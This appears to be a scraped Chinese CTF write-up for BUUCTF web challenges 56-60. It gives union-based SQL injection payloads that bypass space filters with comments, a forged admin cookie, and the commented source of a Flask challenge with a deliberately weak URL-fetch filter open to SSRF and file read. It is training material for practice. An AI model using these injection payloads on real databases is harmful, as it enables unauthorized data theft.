BUUCTF-WEB(56-60) - ToB企服应用市场:ToB评测及商务社交产业平台

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

复制代码

-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

复制代码

-1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
-1'/**/union/**/select/**/1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/sys.schema_auto_increment_columns/**/where/**/database_name="web1"'//这个不行

复制代码

-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

复制代码

Cookie:username=admin

复制代码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
import importlib,sys
importlib.reload(sys)
sys.setdefaultencoding('latin1') #编码转换
app = Flask(__name__) #Flask框架
secert_key = os.urandom(16) #返回一个有n个byte那么长的一个string，然后很适合用于加密。
class Task:
def __init__(self, action, param, sign, ip):#python的构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.path.exists判断括号里的文件是否存在的意思，括号内的可以是文件路径。
os.mkdir(self.sandbox) #用于以数字权限模式创建目录。
def Exec(self):# 定义的命令执行函数。
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:#action的值包括scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)#文件读取的注入点
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)#输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:#action的值包括read
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):#判断
#hashlib.md5(secert_key + param + action).hexdigest()
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])#此路由用于测试
def geneSign():
param = urllib.unquote(request.args.get("param", "")) #urllib.unquote字符串被当作url提交时会被自动进行url编码处理，当需要获取前端页面表单传过来的id值的时候，我们就需要用request.args.get,而不能用request.form
action = "scan"
return getSign(action, param)
#hashlib.md5(secert_key + param + action).hexdigest()
#即: hashlib.md5(secert_key + param + 'scan').hexdigest()
@app.route('/De1ta',methods=['GET','POST'])#此路由用于注入
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec()) #将一个Python数据结构转换为JSON
@app.route('/') # 根目录路由，就是显示源代码得地方
def index():
return open("code.txt","r").read()
def scan(param):# 这是用来扫目录的函数
socket.setdefaulttimeout(1)#代表经过t秒后，如果还未下载成功，自动跳入下一次操作，此次下载失败。
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):#wef，需要绕过
check=param.strip().lower() #用于移除字符串头尾指定的字符（默认为空格或换行符）或字符序列。
if check.startswith("gopher") or check.startswith("file"):#.startswith用于检查字符串是否是以指定子字符串开头，
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')